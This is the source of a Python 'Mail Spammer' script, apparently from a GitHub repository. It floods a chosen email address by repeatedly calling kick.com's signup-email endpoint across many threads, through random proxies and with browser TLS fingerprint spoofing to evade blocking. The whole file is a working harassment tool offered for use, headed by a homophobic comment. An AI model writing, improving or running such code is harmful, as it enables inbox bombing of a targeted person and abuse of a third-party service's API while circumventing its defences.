-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.py
101 lines (90 loc) · 4.33 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# GIVE IT A STAR OR U GAY
import tls_client
import threading
import ctypes
import random
import sys
import os
from colorama import *
from pystyle import *
red = Fore.RED
blue = Fore.BLUE
cyan = Fore.CYAN
yellow = Fore.YELLOW
lightcyan = Fore.LIGHTMAGENTA_EX + Fore.LIGHTCYAN_EX
magenta = Fore.MAGENTA
orange = Fore.RED + Fore.YELLOW
green = Fore.GREEN
white = Fore.WHITE
gray = Fore.LIGHTBLACK_EX + Fore.WHITE
pink = Fore.LIGHTGREEN_EX + Fore.LIGHTMAGENTA_EX
reset = Fore.RESET
ctypes.windll.kernel32.SetConsoleTitleW(f"『 Mail Spammer 』 By ~Z3R003~ ")
send = 0
failed = 0
def clear_screen():
os.system('cls' if os.name == 'nt' else 'clear')
def spammer_title():
global send,failed
ctypes.windll.kernel32.SetConsoleTitleW(f"『 Mail Spammer 』 By ~Z3R003~ / Emails Sends : {send} ~ Failed : {failed}")
def load_proxies():
with open('proxies.txt','r') as t:
proxies = t.read().splitlines()
return proxies
def spammer(email):
global send, failed
output_lock = threading.Lock()
proxies = load_proxies()
proxy = random.choice(proxies)
session = tls_client.Session(
client_identifier='chrome_113',
random_tls_extension_order=True
)
session.proxies = {
'http':f'http://{proxy}',
'https':f'https://{proxy}'
}
json_data = {
'email': email,
}
while True:
try:
response = session.post('https://kick.com/api/v1/signup/send/email',json=json_data);break
except:
continue
if response.status_code == 204:
with output_lock:
send +=1
print(f"{reset}[ {green}OK{reset} ] ( {green}+{gray} ) {yellow}Send Email To | ", end="")
sys.stdout.flush()
Write.Print(f"{email} ( {send} )\n", Colors.yellow_to_red, interval=0.000)
spammer_title()
else:
with output_lock:
failed +=1
print(f"{reset}[ {red}ERROR{reset} ]] ( {red}-{gray} ) {yellow}Could't Send Email To | ",end="")
sys.stdout.flush()
Write.Print(f"{email}\n", Colors.yellow_to_red, interval=0.000)
spammer_title()
spammer(email)
def main():
Write.Print('''
███╗ ███╗ █████╗ ██╗██╗ ███████╗██████╗ █████╗ ███╗ ███╗███╗ ███╗███████╗██████╗
████╗ ████║██╔══██╗██║██║ ██╔════╝██╔══██╗██╔══██╗████╗ ████║████╗ ████║██╔════╝██╔══██╗
██╔████╔██║███████║██║██║ ███████╗██████╔╝███████║██╔████╔██║██╔████╔██║█████╗ ██████╔╝
██║╚██╔╝██║██╔══██║██║██║ ╚════██║██╔═══╝ ██╔══██║██║╚██╔╝██║██║╚██╔╝██║██╔══╝ ██╔══██╗
██║ ╚═╝ ██║██║ ██║██║███████╗███████║██║ ██║ ██║██║ ╚═╝ ██║██║ ╚═╝ ██║███████╗██║ ██║
╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
By ~Z3R003
''', Colors.yellow_to_red, interval=0.0007)
email = input(f'{reset}[ {red}?{reset} ] {yellow} Email{reset}{red} >{green} ')
th = input(f'{reset}[ {red}?{reset} ] {yellow} Threads{reset}{red} >{green} ')
threads = []
for _ in range(int(th)):
t = threading.Thread(target=spammer, args=(email,))
t.start()
threads.append(t)
for thread in threads:
thread.join()
if __name__ == '__main__':
main()